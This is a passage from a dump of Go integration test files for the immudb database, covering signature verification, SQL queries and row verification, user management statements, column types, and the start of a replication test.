0,\n\t\tTxHash: []byte(`hash`),\n\t}\n\tsig, err := signer.NewSigner(\"./../../test/signer/ec3.key\")\n\trequire.NoError(t, err)\n\n\tstSig := server.NewStateSigner(sig)\n\n\terr = stSig.Sign(state)\n\trequire.NoError(t, err)\n\n\tinvoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error {\n\t\treturn nil\n\t}\n\n\terr = c.SignatureVerifierInterceptor(context.Background(), \"/immudb.schema.ImmuService/CurrentState\", &empty.Empty{}, state, nil, invoker, nil)\n\trequire.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error())\n}\n\nfunc TestSignatureVerifierInterceptorNoPublicKey(t *testing.T) {\n\tc := ic.NewClient().WithServerSigningPubKey(nil)\n\n\t// creation and state sign\n\tstate := &schema.ImmutableState{\n\t\tTxId:   0,\n\t\tTxHash: []byte(`hash`),\n\t}\n\n\tinvoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error {\n\t\treturn nil\n\t}\n\n\terr := c.SignatureVerifierInterceptor(context.Background(), \"/immudb.schema.ImmuService/CurrentState\", &empty.Empty{}, state, nil, invoker, nil)\n\trequire.ErrorContains(t, err, \"public key not loaded\")\n}\n"
  },
  {
    "path": "pkg/integration/sql/sql_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\tic \"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestImmuClient_SQL(t *testing.T) {\n\toptions := server.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithAuth(true).\n\t\tWithSigningKey(\"./../../../test/signer/ec1.key\")\n\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tclient, err := bs.NewAuthenticatedClient(ic.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithServerSigningPubKey(\"./../../../test/signer/ec1.pub\"),\n\t)\n\trequire.NoError(t, err)\n\tdefer client.CloseSession(context.Background())\n\n\tctx := context.Background()\n\n\t_, err = client.SQLExec(ctx, `\n\t\tCREATE TABLE table1(\n\t\t\tid INTEGER,\n\t\t\ttitle VARCHAR,\n\t\t\tactive BOOLEAN,\n\t\t\tpayload BLOB,\n\t\t\tPRIMARY KEY id\n\t\t);`, nil)\n\trequire.NoError(t, err)\n\n\tparams := make(map[string]interface{})\n\tparams[\"id\"] = 1\n\tparams[\"title\"] = \"title1\"\n\tparams[\"active\"] = true\n\tparams[\"payload\"] = []byte{1, 2, 3}\n\n\tt.Run(\"insert with params\", func(t *testing.T) {\n\t\t_, err := client.SQLExec(ctx, `\n\t\t\tINSERT INTO table1(id, title, active, payload)\n\t\t\tVALUES\n\t\t\t\t(@id, @title, @active, @payload),\n\t\t\t\t(2, 'title2', false, NULL),\n\t\t\t\t(3, NULL, NULL, x'AED0393F')\n\t\t\t`, params)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"verify row\", func(t *testing.T) {\n\t\tres, err := client.SQLQuery(ctx, `\n\t\t\tSELECT t.id as id, title\n\t\t\tFROM table1 t\n\t\t\tWHERE id <= 3 AND active = @active\n\t\t\t`, params, true)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\n\t\tfor _, row := range res.Rows {\n\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\trequire.ErrorIs(t, err, sql.ErrColumnDoesNotExist)\n\t\t}\n\n\t\tfor i := len(res.Rows); i > 0; i-- {\n\t\t\trow := res.Rows[i-1]\n\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\trequire.ErrorIs(t, err, sql.ErrColumnDoesNotExist)\n\t\t}\n\n\t\tres, err = client.SQLQuery(ctx, `\n\t\t\tSELECT id, title, active, payload\n\t\t\tFROM table1\n\t\t\tWHERE id <= 3 AND active = @active\n\t\t\t`, params, true)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\n\t\tfor _, row := range res.Rows {\n\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\trequire.NoError(t, err)\n\n\t\t\trow.Values[1].Value = &schema.SQLValue_S{S: \"tampered title\"}\n\n\t\t\terr = client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\trequire.ErrorIs(t, err, sql.ErrCorruptedData)\n\t\t}\n\n\t\tres, err = client.SQLQuery(ctx, \"SELECT id, active FROM table1\", nil, true)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\n\t\tfor _, row := range res.Rows {\n\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tres, err = client.SQLQuery(ctx, \"SELECT active FROM table1 WHERE id = 1\", nil, true)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\n\t\tfor _, row := range res.Rows {\n\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}})\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t})\n\n\tt.Run(\"list tables\", func(t *testing.T) {\n\t\tres, err := client.ListTables(ctx)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\n\t\trequire.Len(t, res.Rows, 1)\n\t\trequire.Len(t, res.Columns, 1)\n\t\trequire.Equal(t, \"VARCHAR\", res.Columns[0].Type)\n\t\trequire.Equal(t, \"TABLE\", res.Columns[0].Name)\n\t\trequire.Equal(t, \"table1\", res.Rows[0].Values[0].GetS())\n\n\t\tres, err = client.DescribeTable(ctx, \"table1\")\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\n\t\trequire.Equal(t, \"COLUMN\", res.Columns[0].Name)\n\t\trequire.Equal(t, \"VARCHAR\", res.Columns[0].Type)\n\n\t\tcolsCheck := map[string]bool{\n\t\t\t\"id\": false, \"title\": false, \"active\": false, \"payload\": false,\n\t\t}\n\t\trequire.Len(t, res.Rows, len(colsCheck))\n\t\tfor _, row := range res.Rows {\n\t\t\tcolsCheck[row.Values[0].GetS()] = true\n\t\t}\n\t\tfor c, found := range colsCheck {\n\t\t\trequire.True(t, found, c)\n\t\t}\n\t})\n\n\tt.Run(\"upsert\", func(t *testing.T) {\n\t\ttx2, err := client.SQLExec(ctx, `\n\t\t\tUPSERT INTO table1(id, title, active, payload)\n\t\t\tVALUES (2, 'title2-updated', false, NULL)\n\t\t`, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx2)\n\n\t\tres, err := client.SQLQuery(ctx, \"SELECT title FROM table1 WHERE id=2\", nil, true)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"title2-updated\", res.Rows[0].Values[0].GetS())\n\n\t\tres, err = client.SQLQuery(ctx, fmt.Sprintf(`\n\t\t\tSELECT title\n\t\t\tFROM table1 BEFORE TX %d\n\t\t\tWHERE id=2\n\t\t\t`, tx2.Txs[0].Header.Id), nil, true)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"title2\", res.Rows[0].Values[0].GetS())\n\t})\n\n\tt.Run(\"verify row after alter table\", func(t *testing.T) {\n\t\tt.Run(\"not a primary key\", func(t *testing.T) {\n\t\t\t_, err := client.SQLExec(ctx, `\n\t\t\t\tALTER TABLE table1 RENAME COLUMN title TO title2\n\t\t\t\t`, nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tres, err := client.SQLQuery(ctx, \"SELECT id, active, title2 FROM table1\", nil, true)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, res)\n\n\t\t\tfor _, row := range res.Rows {\n\t\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"primary key\", func(t *testing.T) {\n\t\t\t_, err := client.SQLExec(ctx, `\n\t\t\t\tALTER TABLE table1 RENAME COLUMN id TO id2\n\t\t\t\t`, nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tres, err := client.SQLQuery(ctx, \"SELECT id2, active, title2 FROM table1\", nil, true)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, res)\n\n\t\t\tfor _, row := range res.Rows {\n\t\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"add column\", func(t *testing.T) {\n\t\t\t_, err := client.SQLExec(ctx, `\n\t\t\t\tALTER TABLE table1 ADD COLUMN id INTEGER\n\t\t\t\t`, nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = client.SQLExec(ctx, `\n\t\t\t\tINSERT INTO table1(id2, id, active, title2) VALUES(4, 44, false, 'new row')\n\t\t\t`, nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tres, err := client.SQLQuery(ctx, \"SELECT id2, id, active, title2 FROM table1\", nil, true)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, res)\n\n\t\t\tfor _, row := range res.Rows {\n\t\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"drop column\", func(t *testing.T) {\n\t\t\t_, err := client.SQLExec(ctx, `\n\t\t\t\tALTER TABLE table1 DROP COLUMN id\n\t\t\t`, nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tres, err := client.SQLQuery(ctx, \"SELECT id2, active, title2 FROM table1\", nil, true)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, res)\n\n\t\t\tfor _, row := range res.Rows {\n\t\t\t\terr := client.VerifyRow(ctx, row, \"table1\", []*schema.SQLValue{row.Values[0]})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t})\n\t})\n}\n\nfunc TestImmuClient_SQLQueryReader(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir()).WithMaxResultSize(2)\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tctx := context.Background()\n\n\tclient, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir()))\n\trequire.NoError(t, err)\n\tdefer client.CloseSession(ctx)\n\n\t_, err = client.SQLExec(ctx, `\n\t\tCREATE TABLE test_table (\n\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\tvalue INTEGER,\n\t\t\tdata JSON,\n\n\t\t\tPRIMARY KEY (id)\n\t\t);\n\t`, nil)\n\trequire.NoError(t, err)\n\n\tfor n := 0; n < 10; n++ {\n\t\tname := fmt.Sprintf(\"name%d\", n)\n\n\t\t_, err := client.SQLExec(\n\t\t\tctx,\n\t\t\t\"INSERT INTO test_table(value, data) VALUES (@value, @data)\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"value\": n + 10,\n\t\t\t\t\"data\":  fmt.Sprintf(`{\"name\": \"%s\"}`, name),\n\t\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\treader, err := client.SQLQueryReader(ctx, \"SELECT * FROM test_table WHERE value < 0\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = reader.Read()\n\trequire.Error(t, err)\n\n\trequire.False(t, reader.Next())\n\t_, err = reader.Read()\n\trequire.ErrorIs(t, err, sql.ErrNoMoreRows)\n\n\t_, err = client.SQLQuery(ctx, \"SELECT * FROM test_table\", nil, false)\n\trequire.ErrorContains(t, err, database.ErrResultSizeLimitReached.Error())\n\n\treader, err = client.SQLQueryReader(ctx, \"SELECT * FROM test_table\", nil)\n\trequire.NoError(t, err)\n\n\tcols := reader.Columns()\n\trequire.Equal(t, cols[0].Name, \"(test_table.id)\")\n\trequire.Equal(t, cols[0].Type, sql.IntegerType)\n\trequire.Equal(t, cols[1].Name, \"(test_table.value)\")\n\trequire.Equal(t, cols[1].Type, sql.IntegerType)\n\trequire.Equal(t, cols[2].Name, \"(test_table.data)\")\n\trequire.Equal(t, cols[2].Type, sql.JSONType)\n\n\tn := 0\n\tfor reader.Next() {\n\t\trow, err := reader.Read()\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, row, 3)\n\n\t\tname := fmt.Sprintf(\"name%d\", n)\n\n\t\tvar data interface{}\n\t\terr = json.Unmarshal([]byte(row[2].(string)), &data)\n\t\trequire.NoError(t, err)\n\n\t\trequire.Equal(t, int64(n+1), row[0])\n\t\trequire.Equal(t, int64(n+10), row[1])\n\t\trequire.Equal(t, map[string]interface{}{\"name\": name}, data)\n\t\tn++\n\t}\n\n\trequire.Equal(t, n, 10)\n\trequire.NoError(t, reader.Close())\n\trequire.ErrorIs(t, reader.Close(), sql.ErrAlreadyClosed)\n\n\treader, err = client.SQLQueryReader(ctx, \"SELECT * FROM test_table\", nil)\n\trequire.NoError(t, err)\n\n\trequire.True(t, reader.Next())\n\trequire.NoError(t, reader.Close())\n\trequire.False(t, reader.Next())\n\n\trow, err := reader.Read()\n\trequire.Nil(t, row)\n\trequire.ErrorIs(t, err, sql.ErrAlreadyClosed)\n}\n\nfunc TestImmuClient_SQL_UserStmts(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tclient, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir()))\n\trequire.NoError(t, err)\n\tdefer client.CloseSession(context.Background())\n\n\tusers, err := client.SQLQuery(context.Background(), \"SHOW USERS\", nil, true)\n\trequire.NoError(t, err)\n\trequire.Len(t, users.Rows, 1)\n\n\t_, err = client.SQLExec(context.Background(), \"CREATE USER user1 WITH PASSWORD 'user1Password!' READWRITE\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = client.SQLExec(context.Background(), \"CREATE USER user2 WITH PASSWORD 'user2Password!' READ\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = client.SQLExec(context.Background(), \"CREATE USER user3 WITH PASSWORD 'user3Password!' ADMIN\", nil)\n\trequire.NoError(t, err)\n\n\tusers, err = client.SQLQuery(context.Background(), \"SHOW USERS\", nil, true)\n\trequire.NoError(t, err)\n\trequire.Len(t, users.Rows, 4)\n\n\tuser1Client := bs.NewClient(ic.DefaultOptions())\n\n\terr = user1Client.OpenSession(\n\t\tcontext.Background(),\n\t\t[]byte(\"user1\"),\n\t\t[]byte(\"user1Password!\"),\n\t\t\"defaultdb\",\n\t)\n\trequire.NoError(t, err)\n\n\terr = user1Client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = client.SQLExec(context.Background(), \"ALTER USER user1 WITH PASSWORD 'user1Password!!' READ\", nil)\n\trequire.NoError(t, err)\n\n\terr = user1Client.OpenSession(\n\t\tcontext.Background(),\n\t\t[]byte(\"user1\"),\n\t\t[]byte(\"user1Password!\"),\n\t\t\"defaultdb\",\n\t)\n\trequire.ErrorContains(t, err, \"invalid user name or password\")\n\n\terr = user1Client.OpenSession(\n\t\tcontext.Background(),\n\t\t[]byte(\"user1\"),\n\t\t[]byte(\"user1Password!!\"),\n\t\t\"defaultdb\",\n\t)\n\trequire.NoError(t, err)\n\n\terr = user1Client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = client.SQLExec(context.Background(), \"ALTER USER user1 WITH PASSWORD 'user1Password!!' READWRITE\", nil)\n\trequire.NoError(t, err)\n\n\tusers, err = client.SQLQuery(context.Background(), \"SHOW USERS\", nil, true)\n\trequire.NoError(t, err)\n\trequire.Len(t, users.Rows, 4)\n\n\t_, err = client.SQLExec(context.Background(), \"DROP USER user1\", nil)\n\trequire.NoError(t, err)\n\n\tusers, err = client.SQLQuery(context.Background(), \"SHOW USERS\", nil, true)\n\trequire.NoError(t, err)\n\trequire.Len(t, users.Rows, 3)\n\n\terr = user1Client.OpenSession(\n\t\tcontext.Background(),\n\t\t[]byte(\"user1\"),\n\t\t[]byte(\"user1Password!!\"),\n\t\t\"defaultdb\",\n\t)\n\trequire.ErrorContains(t, err, \"user is not active\")\n\n\t_, err = client.SQLExec(context.Background(), \"CREATE USER user2 WITH PASSWORD 'user2Password!' READWRITE\", nil)\n\trequire.ErrorContains(t, err, \"user already exists\")\n\n\t_, err = client.SQLExec(context.Background(), \"ALTER USER user4 WITH PASSWORD 'user4Password!!' READWRITE\", nil)\n\trequire.ErrorContains(t, err, \"not found\")\n\n\t_, err = user1Client.SQLExec(context.Background(), \"SHOW USERS\", nil)\n\trequire.ErrorContains(t, err, \"not connected\")\n\n\t_, err = user1Client.SQLExec(context.Background(), \"CREATE USER user4 WITH PASSWORD 'user4Password!' READWRITE\", nil)\n\trequire.ErrorContains(t, err, \"not connected\")\n\n\t_, err = user1Client.SQLExec(context.Background(), \"ALTER USER user4 WITH PASSWORD 'user4Password!!' READWRITE\", nil)\n\trequire.ErrorContains(t, err, \"not connected\")\n\n\t_, err = user1Client.SQLExec(context.Background(), \"DROP USER user3\", nil)\n\trequire.ErrorContains(t, err, \"not connected\")\n}\n\nfunc TestImmuClient_SQL_Errors(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tclient, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir()))\n\trequire.NoError(t, err)\n\tdefer client.CloseSession(context.Background())\n\n\t_, err = client.SQLExec(context.Background(), \"\", map[string]interface{}{\n\t\t\"param1\": struct{}{},\n\t})\n\trequire.ErrorIs(t, err, sql.ErrInvalidValue)\n\n\t_, err = client.SQLQuery(context.Background(), \"\", map[string]interface{}{\n\t\t\"param1\": struct{}{},\n\t}, false)\n\trequire.ErrorIs(t, err, sql.ErrInvalidValue)\n\n\terr = client.VerifyRow(context.Background(), &schema.Row{\n\t\tColumns: []string{\"col1\"},\n\t\tValues:  []*schema.SQLValue{},\n\t}, \"table1\", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}})\n\trequire.ErrorIs(t, err, sql.ErrCorruptedData)\n\n\terr = client.VerifyRow(context.Background(), nil, \"\", nil)\n\trequire.ErrorIs(t, err, ic.ErrIllegalArguments)\n\n\tt.Run(\"sql operations should fail with a cancelled context\", func(t *testing.T) {\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tcancel()\n\n\t\t_, err := client.SQLExec(ctx, \"BEGIN TRANSACTION; COMMIT;\", nil)\n\t\trequire.Contains(t, err.Error(), context.Canceled.Error())\n\n\t\t_, err = client.SQLQuery(ctx, \"SELECT * FROM table1\", nil, true)\n\t\trequire.Contains(t, err.Error(), context.Canceled.Error())\n\t})\n\n\terr = client.Disconnect()\n\trequire.NoError(t, err)\n\n\t_, err = client.SQLExec(context.Background(), \"\", nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.SQLQuery(context.Background(), \"\", nil, false)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.ListTables(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.DescribeTable(context.Background(), \"\")\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.VerifyRow(context.Background(), &schema.Row{\n\t\tColumns: []string{\"col1\"},\n\t\tValues:  []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}},\n\t}, \"table1\", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}})\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n}\n\nfunc TestQueryTxMetadata(t *testing.T) {\n\toptions := server.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithLogRequestMetadata(true)\n\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tclient, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir()))\n\trequire.NoError(t, err)\n\tdefer client.CloseSession(context.Background())\n\n\t_, err = client.SQLExec(\n\t\tcontext.Background(),\n\t\t`CREATE TABLE mytable(\n\t\t\tid INTEGER,\n\t\t\tdata JSON,\n\n\t\t\tPRIMARY KEY (id)\n\t\t)`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\t_, err = client.SQLExec(\n\t\tcontext.Background(),\n\t\t`INSERT INTO mytable(id, data) VALUES (1, '{\"name\": \"John Doe\"}')`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\tit, err := client.SQLQueryReader(\n\t\tcontext.Background(),\n\t\t\"SELECT _tx_metadata FROM mytable\",\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\trequire.True(t, it.Next())\n\n\trow, err := it.Read()\n\trequire.NoError(t, err)\n\n\tvar md map[string]interface{}\n\terr = json.Unmarshal([]byte(row[0].(string)), &md)\n\trequire.NoError(t, err)\n\n\trequire.Equal(\n\t\tt,\n\t\tmap[string]interface{}{\"usr\": \"immudb\", \"ip\": \"bufconn\"},\n\t\tmd,\n\t)\n}\n"
  },
  {
    "path": "pkg/integration/sql_types_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage integration\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestVerifyRowForColumnTypes(t *testing.T) {\n\t_, cli, ctx := setupTestServerAndClient(t)\n\n\tfor i, d := range []struct {\n\t\tt  string\n\t\tv  interface{}\n\t\tvs string\n\t\tcv schema.SqlValue\n\t}{\n\t\t{\"INTEGER\", nil, \"NULL\", &schema.SQLValue_Null{}},\n\t\t{\"INTEGER\", 79, \"79\", &schema.SQLValue_N{N: 79}},\n\t\t{\"VARCHAR\", nil, \"NULL\", &schema.SQLValue_Null{}},\n\t\t{\"VARCHAR\", \"abcd\", \"'abcd'\", &schema.SQLValue_S{S: \"abcd\"}},\n\t\t{\"BOOLEAN\", nil, \"NULL\", &schema.SQLValue_Null{}},\n\t\t{\"BOOLEAN\", true, \"TRUE\", &schema.SQLValue_B{B: true}},\n\t\t{\"BLOB\", nil, \"NULL\", &schema.SQLValue_Null{}},\n\t\t{\"BLOB\", []byte{0xab, 0xcd, 0xef}, \"x'ABCDEF'\", &schema.SQLValue_Bs{Bs: []byte{0xab, 0xcd, 0xef}}},\n\t\t{\"TIMESTAMP\", nil, \"NULL\", &schema.SQLValue_Null{}},\n\t\t{\"TIMESTAMP\", time.Unix(1234, 0), \"CAST(1234 AS TIMESTAMP)\", &schema.SQLValue_Ts{Ts: 1234000000}},\n\t\t{\"FLOAT\", nil, \"NULL\", &schema.SQLValue_Null{}},\n\t\t{\"FLOAT\", 12.3456, \"12.3456\", &schema.SQLValue_F{F: 12.3456}},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"%d %+v\", i, d), func(t *testing.T) {\n\n\t\t\ttab := fmt.Sprintf(\"table_%d\", i)\n\n\t\t\tt.Run(\"create table\", func(t *testing.T) {\n\t\t\t\t_, err := cli.SQLExec(ctx, fmt.Sprintf(`\n\t\t\t\t\tCREATE TABLE %s(\n\t\t\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\t\t\tval %s,\n\t\t\t\t\t\tPRIMARY KEY (id)\n\t\t\t\t\t)\n\t\t\t\t`, tab, d.t),\n\t\t\t\t\tnil)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t})\n\n\t\t\tt.Run(\"insert with value in query string\", func(t *testing.T) {\n\t\t\t\t_, err := cli.SQLExec(ctx, fmt.Sprintf(`\n\t\t\t\t\tINSERT INTO %s(val)\n\t\t\t\t\tVALUES (%s)\n\t\t\t\t`, tab, d.vs), nil)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t})\n\n\t\t\tt.Run(\"insert with value in query parameter\", func(t *testing.T) {\n\t\t\t\t_, err := cli.SQLExec(ctx, fmt.Sprintf(`\n\t\t\t\t\tINSERT INTO %s(val)\n\t\t\t\t\tVALUES (@val)\n\t\t\t\t`, tab), map[string]interface{}{\n\t\t\t\t\t\"val\": d.v,\n\t\t\t\t})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t})\n\n\t\t\tt.Run(\"query and verify\", func(t *testing.T) {\n\t\t\t\tres, err := cli.SQLQuery(ctx, fmt.Sprintf(`\n\t\t\t\tSELECT id, val FROM %s\n\t\t\t\t`, tab),\n\t\t\t\t\tnil, false)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Len(t, res.Rows, 2)\n\n\t\t\t\tfor _, row := range res.Rows {\n\t\t\t\t\terr = cli.VerifyRow(ctx, row, tab, []*schema.SQLValue{row.Values[0]})\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\trequire.Equal(t, d.cv, row.Values[1].Value)\n\t\t\t\t}\n\t\t\t})\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/integration/stream/stream_replication_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"strconv\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\tic \"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc TestImmuClient_ExportAndReplicateTx(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tcliOpts := ic.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())})\n\n\tclient := ic.NewClient().WithOptions(cliOpts)\n\n\terr := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\tdefer client.CloseSession(context.Background())\n\n\t_, err = client.ExportTx(context.Background(), nil)\n\trequire.Equal(t, ic.ErrIllegalArguments, err)\n\n\thdr, err := client.Set(context.Background(), []byte(\"key1\"), []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\t_, err = client.CreateDatabaseV2(context.Background(), \"replicateddb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica: &schema.NullableBool{Value: true},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\trclient := ic.NewClient().WithOptions(cliOpts)\n\n\terr = rclient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"replicateddb\")\n\trequire.NoError(t, err)\n\n\tdefer rclient.CloseSession(context.Background())\n\n\trmd := metadata.Pairs(\n\t\t\"skip-integrity-check\", strconv.FormatBool(true),\n\t\t\"wait-for-indexing\", strconv.FormatBool(false),\n\t)\n\trctx := metadata.NewOutgoingContext(context.Background(), rmd)\n\n\tfor i := uint64(1); i <= hdr.Id; i++ {\n\t\texportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{\n\t\t\tTx:                 i,\n\t\t\tSkipIntegrityCheck: true,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\treplicateTxStream, err := rclient.ReplicateTx(rctx)\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\ttxChunk, err := exportTxStream.Recv()\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = 